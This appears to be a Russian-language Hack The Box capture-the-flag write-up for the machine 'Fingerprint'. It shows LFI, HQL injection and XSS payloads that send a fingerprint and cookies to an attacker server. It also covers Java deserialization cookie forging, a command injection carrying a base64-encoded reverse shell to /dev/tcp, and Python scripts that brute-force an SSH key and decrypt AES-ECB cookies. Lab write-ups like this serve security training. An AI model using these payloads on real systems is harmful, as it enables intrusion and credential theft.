May 24, 2022

HTB Fingerprint. Подделываем цифровой отпечаток для доступа к закрытому контенту

Хакер - HTB Fingerprint. Подделываем цифровой отпечаток для доступа к закрытому контенту

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Точка входа
  • Точка опоры
  • Продвижение
  • Локальное повышение привилегий

В этом рай­тапе мы исполь­зуем LFI для получе­ния исходно­го кода при­ложе­ния, XSS — для получе­ния фин­гер­прин­та поль­зовате­ля, обой­дем авто­риза­цию через HQL-инъ­екцию, заюзаем баг в при­ложе­нии на Java и нем­ного покодим на Python, что­бы получить при­ват­ный ключ. В зак­лючение — раз­берем ошиб­ку в шиф­ровании и узна­ем сек­рет!

Все это — в рам­ках про­хож­дения «безум­ной» по слож­ности машины Fingerprint с пло­щад­ки Hack The Box.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.127 fingerprint.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

На­ходим три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 7.6p1;
  • 80 — веб‑сер­вер Werkzeug httpd 1.0.1;
  • 8080 — веб‑сер­вер GlassFish Open Source Edition 5.0.1.

На­ша точ­ка вхо­да — это навер­няка один из двух веб‑сер­веров. Но, изу­чив сай­ты, я ничего инте­рес­ного не нашел. Давай тог­да поищем скры­тый кон­тент.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

За­пус­каем ffuf:

ffuf -u http://fingerprint.htb/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt

ffuf -u http://fingerprint.htb:8080/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt

По­явля­ются новые инте­рес­ные катало­ги. Burp спо­собен сос­тавлять кар­ты сай­та, чем мы и вос­поль­зуем­ся. В дан­ном слу­чае на пос­тро­енной кар­те обна­ружим конеч­ные точ­ки, которые мы бы дол­го иска­ли при гру­бом ска­ниро­вании.

Те­перь важ­но най­ти мес­то, отку­да мы перехо­дим к конеч­ным точ­кам. Исто­рия и поиск в Burp выводят нас на стра­ницу /admin.

ТОЧКА ВХОДА

LFI

Че­рез стра­ницу /admin/view/ мож­но прос­матри­вать фай­лы, поэто­му про­верим, нет ли тут уяз­вимос­ти чте­ния про­изволь­ных фай­лов в сис­теме. Для перебо­ра фай­лов я буду исполь­зовать Burp Intruder.

И прос­тая пос­ледова­тель­ность /../..//etc/passwd отоб­разит нам содер­жимое фай­ла /etc/passwd! Это так­же поз­волит нам узнать домаш­ний каталог поль­зовате­ля flask. А это озна­чает дос­туп к исходни­кам сер­вера!

Сто­ит поп­робовать получить содер­жимое некото­рых стан­дар­тных фай­лов. Так, app/__init__.py ничего не выводит, а app/app.py все же дает код при­ложе­ния (путь /admin/view//../..//home/flask/app/app.py).

Те­перь у нас есть ключ при­ложе­ния (стро­ка 19), а так­же видим импорт фун­кции check из модуля auth (стро­ка 8). Зап­росим этот файл:

/admin/view/../..//home/flask/app/auth.py

В стро­ке 13 рас­кры­вает­ся файл базы дан­ных с учет­ными дан­ными. А в стро­ке 16 с помощью фун­кции build_safe_sql_where фор­миру­ется зап­рос. Сама фун­кция импорти­рует­ся из модуля util. Получим сле­дующие фай­лы:

  • /admin/view/../..//home/flask/app/users.db
  • /admin/view/../..//home/flask/app/util.py

Из фай­ла базы получа­ем учет­ные дан­ные admin:u_will_never_guess_this_password. Исполь­зуя их, можем авто­ризо­вать­ся на сай­те и получить дос­туп к логам.

Боль­ше здесь ничего добыть не можем.

HQL injection + XSS = fingerprint

Тог­да поп­робу­ем авто­ризо­вать­ся с получен­ными учет­ными дан­ными на дру­гом сер­висе. Конеч­но, там нас ждет неуда­ча, но на стра­нице логов раз­мер фай­ла уве­личит­ся.

А в самом фай­ле будет ука­зан адрес, логин и циф­ровой отпе­чаток поль­зовате­ля, который попытал­ся авто­ризо­вать­ся.

Так как логином и отпе­чат­ком мы можем опе­риро­вать при авто­риза­ции, есть воз­можность получить XSS. Но к это­му вер­немся чуть поз­же. На сер­вере исполь­зует­ся база дан­ных, а это зна­чит, что сто­ит поп­робовать обой­ти аутен­тифика­цию. На GitHub есть мно­го сло­варей типа auth bypass, и пер­вая же наг­рузка дает сле­дующую ошиб­ку.

По­луча­ем ошиб­ку JDBC, а это зна­чит, что нуж­но выб­рать наг­рузки для HQL. Боль­шая часть ока­жет­ся заб­локиро­вана, но вот такая наг­рузка дает резуль­тат:

x' OR SUBSTRING(username,1,1)='a' and ''='

Нам сооб­щают про невер­ный циф­ровой отпе­чаток (Invalid fingerprint ID).

Та­ким обра­зом, нам нуж­но получить циф­ровой отпе­чаток адми­нис­тра­тора, в чем нам может помочь уяз­вимость XSS. Сно­ва попыта­емся авто­ризо­вать­ся на вто­ром сер­висе, но вмес­то фин­гер­прин­та отпра­вим наг­рузку:

<script src="http://10.10.14.156:4321/evil.js"></script>

Она будет заг­ружать с нашего сер­вера скрипт с кодом alert('test').

Уяз­вимость при­сутс­тву­ет, зна­чит про­дол­жаем. Обыч­но фин­гер­принт генери­рует­ся кодом на JS из мно­жес­тва парамет­ров вро­де раз­мера экра­на, наз­вания и вер­сии бра­узе­ра и про­чих приз­наков. Нам нуж­но най­ти этот код и записать в скрипт на нашем сер­вере. В Burp History мож­но уви­деть заг­рузку скрип­та login.js, он‑то нам и нужен.

Ко­пиру­ем содер­жимое скрип­та и добав­ляем в кон­це код, который отпра­вит сге­нери­рован­ный фин­гер­принт на наш сер­вер:

location.href="https://justpaste.it/redirect/81i5v/http://10.10.14.156:4321/%3Fid="+getFingerPrintID();

Пос­ле пов­торно­го зап­роса на авто­риза­цию получим фин­гер­принт на наш сер­вер.

Но и отправ­ляя этот фин­гер­принт, мы получа­ем ту же ошиб­ку: Invalid fingerprint - ID.

Де­ло в том, что HQL-наг­рузка работа­ет, если пер­вый сим­вол име­ни поль­зовате­ля будет a. Но, видимо, мы получи­ли фин­гер­принт дру­гого поль­зовате­ля. Тог­да перебе­рем пер­вый сим­вол име­ни поль­зовате­ля с помощью Burp Intruder.

Мы выяс­нили, что пер­вый сим­вол логина — m, к тому же мы получа­ем дос­туп на сайт.

Кноп­ка для заг­рузки фай­ла ока­залась нерабо­чей. Тог­да перек­лючим вни­мание на иден­тифика­тор сес­сии поль­зовате­ля — Cookie. Судя по струк­туре, это токен JWT, при­чем в поле дан­ных содер­жится так­же закоди­рован­ная информа­ция.

Де­коди­ровав дан­ные, получим какой‑то набор сим­волов, в котором прог­лядыва­ются стро­ки. Ско­рее все­го, на сай­те исполь­зует­ся сери­али­зация объ­ектов. К тому же мы видим что‑то похожее на логин и пароль.

ТОЧКА ОПОРЫ

Небезопасная десериализация

Пов­торим ска­ниро­вание веб‑кон­тента, толь­ко теперь будем искать фай­лы с рас­ширени­ем *.java.

ffuf -u 'http://fingerprint.htb:8080/backups/FUZZ.java' -t 256 -w directory_2.3_medium.txt

По­луча­ем два фай­ла. Ска­чива­ем их для ана­лиза.

Боль­ше все­го нас инте­ресу­ет файл User.java, так как он содер­жит объ­ект, под­лежащий сери­али­зации. Теперь нам нуж­но соз­дать про­ект, куда мы помес­тим User.java, сох­раняя все пути.

Идея зак­люча­ется в том, что­бы взять сери­али­зован­ный объ­ект из куки, десери­али­зовать его в нашей прог­рамме, изме­нить имя поль­зовате­ля на admin и сери­али­зовать сно­ва. Это поз­волит нам под­менить куки. В User.java оста­вим все перемен­ные, но сде­лаем толь­ко один метод для изме­нения име­ни поль­зовате­ля.

package com.admin.security.src.model;

import java.io.Serializable;

public class User implements Serializable {

private static final long serialVersionUID = -7780857363453462165L;

protected int id;

protected String username;

protected String password;

protected String fingerprint;

public void setUsername(String username) {

this.username = username;

}

}

Те­перь файл Main.java. Тут‑то мы и будем рез­вить­ся c нашим объ­ектом.

import com.admin.security.src.model.User;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.util.Base64;

public class Main {

public static void main(String[] args) {

try {

String cookie = "rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIABEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAA

nQAQDdlZjUyYzI1MWY4MDQ0Y2IxODcwMTM5OTI4OTFkMGU1OGNlOTE5NGRlN2Y1MzViMWI0ZmE2YmJmZTA4Njc4ZjZ0ABRMV2c3Z1VSMUVtWDdVTnhzSnhxWnQAC21pY2hlYWwxMjM1";

byte[] serializedUserBytes = Base64.getDecoder().decode(cookie);

ByteArrayInputStream serializedUserInputStream = new ByteArrayInputStream(serializedUserBytes);

ObjectInputStream objectInputStream = new ObjectInputStream(serializedUserInputStream);

User user = (User)objectInputStream.readObject();

user.setUsername("admin");

ByteArrayOutputStream serializedUserOutputStream = new ByteArrayOutputStream();

ObjectOutputStream objectOutputStream = new ObjectOutputStream(serializedUserOutputStream);

objectOutputStream.writeObject(user);

String serializedAdminUserBase64 = Base64.getEncoder().encodeToString(serializedUserOutputStream.toByteArray());

System.out.println("New cookie: " + serializedAdminUserBase64);

}

catch (Exception e) {

System.out.println(e);

}

}

}

Нас­тра­иваем кон­фигура­цию запус­ка.

И пос­ле стар­та получа­ем новый сери­али­зован­ный объ­ект. Новый JWT нуж­но будет перепод­писать, бла­го сек­ретный ключ у нас есть. Для соз­дания JWT исполь­зуем jwt.io.

Вста­вив куки, мы получа­ем сес­сию адми­нис­тра­тора, но заг­рузка фай­лов до сих пор не работа­ет.

Тог­да будем даль­ше раз­бирать­ся с исходны­ми кодами. В обо­их ска­чан­ных фай­лах есть импорт клас­са UserProfileStorage. При этом метод readObject вызыва­ется в Profile.java.

Поп­робу­ем заг­рузить такой файл, а затем откро­ем для ана­лиза.

Боль­ше все­го инте­рес­ны стро­ки 44–45, где фор­миру­ется коман­да ОС, а потом и выпол­няет­ся в тер­минале. Замыка­ет кон­вей­ер коман­да grep, к которой добав­ляет­ся имя поль­зовате­ля. Но это про­исхо­дит, если про­вер­ка isAdminProfile успешна. При этом имя поль­зовате­ля исполь­зует­ся как наз­вание фай­ла логов. Давай поп­робу­ем выпол­нить инъ­екцию коман­ды ping, для чего исполь­зуем сле­дующее имя поль­зовате­ля:

user.setUsername("test$(ping -c 4 10.10.14.156)/../admin");

Пос­ле генера­ции куки, соз­дания и при­мене­ния JWT получа­ем завет­ный пинг (прос­лушива­ем с помощью tcpdump -i tun0 icmp).

Так как уяз­вимость под­твер­дилась, про­кинем прос­той реверс‑шелл. Для это­го наг­рузку /bin/sh -i >& /dev/tcp/10.10.14.156/5432 0>&1 закоди­руем в Base64 и соз­дадим кон­вей­ер для ее запус­ка.

user.setUsername("test$(echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTYvNTQzMiAwPiYxCg== | base64 -d | bash)/../admin");

В окне лис­тенера получа­ем бэк­коннект.

ПРОДВИЖЕНИЕ

Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам необ­ходимо соб­рать информа­цию. Источни­ков мно­го, я в таких слу­чаях при­меняю скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Пос­ле выпол­нения скрип­та нуж­но выб­рать самую важ­ную информа­цию, в этот раз обра­тим вни­мание на то, что:

  • есть при­ложе­ние cmatch с выс­тавлен­ным битом SUID;
  • в катало­ге /var/backups/ есть бэкап при­ложе­ния на Flask;
  • для локал­хоста прос­лушива­ется порт 8088.

Бэ­кап дос­тупен толь­ко груп­пе поль­зовате­ля john, от име­ни которо­го и будет запус­кать­ся при­ложе­ние /usr/bin/cmath. Само при­ложе­ние пред­став­ляет собой исполня­емый файл ELF.

Ска­чива­ем файл на локаль­ный хост для ана­лиза. Я буду исполь­зовать IDA Pro. Судя по деком­пилиро­ван­ному коду, мож­но пред­положить, что при­ложе­ние написа­но на язы­ке Go. При запус­ке сра­зу про­веря­ется количес­тво аргу­мен­тов прог­раммы.

Прог­рамма при­нима­ет два аргу­мен­та (стро­ки 49–56): путь к фай­лу и стро­ку. Затем откры­вает­ся файл и про­изво­дит­ся посим­воль­ное чте­ние (стро­ки 57–88). В кон­це в счи­тан­ном фай­ле ищет­ся стро­ка и выводит­ся сооб­щение о количес­тве вхож­дений подс­тро­ки.

В качес­тве тес­та про­верим, что мы все пра­виль­но разоб­рали.

Так как при­ложе­ние работа­ет от име­ни поль­зовате­ля john, мы можем получить дос­туп к любому фай­лу это­го поль­зовате­ля, в том чис­ле и сек­ретно­му клю­чу. А бла­года­ря воз­можнос­ти узнать чис­ло вхож­дений подс­тро­ки в файл мы можем получить весь файл посим­воль­но! Суть в том, что, зная начало фай­ла, мы смо­жем добав­лять на каж­дом шаге по сим­волу и переби­рать его до тех пор, пока не будет отве­та Found matches: 1. Пос­ле это­го перехо­дить к под­бору сле­дующе­го сим­вола.

Для посим­воль­ного под­бора я написал сле­дующий скрипт. Он поз­волил получить весь сек­ретный ключ.

import os

alf = [' ','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', '

M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '=', '/', '-', ':', ',', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '\+', '\r', '\n', '\t']

cur_file = '-----BEGIN'

end_file = '-----END'

ind = 0

while(end_file not in cur_file):

for c in alf:

s = cur_file + c

count = os.popen(f'/usr/bin/cmatch /home/john/.ssh/id_rsa "{s}"').read()[15:]

if(int(count) == 1):

cur_file += c

print(cur_file)

break

Но авто­ризо­вать­ся мы все рав­но не можем, так как ключ зашиф­рован и тре­бует­ся допол­нитель­ный пароль. В поис­ках пароля я решил перес­мотреть исходные коды при­ложе­ния. Так, при поис­ке подс­тро­ки passw получа­ем три фай­ла.

Ска­чива­ем пер­вые два, откры­ваем в деком­пилято­ре и во вто­ром находим пароль гибер­нации.

С помощью это­го пароля получи­лось рас­шифро­вать сек­ретный ключ поль­зовате­ля. Так мы забира­ем флаг поль­зовате­ля и получа­ем ста­биль­ный дос­туп по SSH.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь мы можем получить дос­туп к бэкапу при­ложе­ния на Flask. Ска­чива­ем на локаль­ный хост, рас­паковы­ваем и чита­ем файл improvement.

В фай­ле упо­мина­ется кас­томное шиф­рование, исполь­зуемое для кон­тро­ля аутен­тифика­ции. А если тун­нелиро­вать весь тра­фик с локаль­ного пор­та 8088 на локаль­ный порт 8088 уда­лен­ного хос­та, то мож­но заметить, что на нем работа­ет уже зна­комое нам при­ложе­ние.

ssh -L 8088:127.0.0.1:8088 -i id_rsa.john [email protected]

Так­же прос­мотрим и исходные коды из бэкапа. Уяз­вимость про­изволь­ного чте­ния фай­лов так и оста­лась в фун­кции logs_view(), но теперь читать фай­лы может толь­ко адми­нис­тра­тор.

В фун­кции profile_update() рас­крыт спо­соб фор­мирова­ния куки: [имя_пользователя],[секрет],[true или false].

Ку­ки шиф­руют­ся с помощью AES ECB с раз­мером бло­ка 16 байт.

Но так­же сох­ранилась и уяз­вимость XSS, поэто­му уже рас­смот­ренным выше спо­собом, но дру­гой наг­рузкой мы можем получить куки.

<script>document.location="http://10.10.14.156:4321/?q="+document.cookie</script>

Под­став­ляем куки и попада­ем на глав­ную стра­ницу сай­та.

На сер­вере исполь­зует­ся блоч­ное шиф­рование, а фун­кция profile_update() дает нам воз­можность изме­нить имя поль­зовате­ля через параметр new_name. То есть мы можем изме­нять дли­ну шиф­руемо­го сооб­щения. Таким обра­зом на каж­дом пос­леду­ющем шаге мы можем переби­рать сле­дующий сим­вол, заод­но уве­личи­вая сооб­щение. Как толь­ко сооб­щение без добав­ленно­го сим­вола и сооб­щение с добав­ленным сим­волом сов­пали, мы наш­ли нуж­ный нам сим­вол. Новый куки воз­вра­щает­ся в заголов­ке Set-Cookie.

Наб­роса­ем прос­тень­кий код, который реали­зует все опи­сан­ное.

import requests

import string

john_cookie = {"user_id": "49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb0338550635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb"}

secret = ""

size = 1

while True:

for i in range(15, -1, -1):

username = "A" * (16+i)

prime_cookie = requests.post('http://127.0.0.1:8088/profile', data={"new_name": username}, cookies=john_cookie, allow_redirects=False).cookies.get('user_id')

for c in string.printable[:-5]:

test_username = "A" * (16+i) + secret + c

new_cookie = requests.post('http://127.0.0.1:8088/profile', data={"new_name": test_username}, cookies=john_cookie, allow_redirects=False).cookies.get('user_id')

if new_cookie[32*size : 32*(size+1)] == prime_cookie[32*size : 32*(size+1)]:

secret += c

break

print(secret)

if ",false" in secret:

exit()

size += 1

Так мы смог­ли рас­шифро­вать куки и получить сек­рет. Перед кодиро­вани­ем сто­ит обра­тить вни­мание на фун­кцию load_user(), в которой выпол­няет­ся про­вер­ка.

Со­обще­ние раз­деля­ется по пос­ледова­тель­нос­тям из запятой, сек­рета и еще одной запятой. Пер­вый эле­мент получив­шегося мас­сива срав­нива­ется с true. Тог­да нам в качес­тве име­ни поль­зовате­ля нуж­но передать пос­ледова­тель­ность имя,секрет,true,секрет.

У нас есть новые куки, поп­робу­ем для тес­та про­читать файл /etc/passwd.

Так как при­ложе­ние работа­ет от име­ни рута, про­чита­ем зак­рытый ключ поль­зовате­ля.

Под­клю­чаем­ся по SSH и забира­ем флаг рута.

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Source justpaste.it

Сделано ботом @chotamreaderbot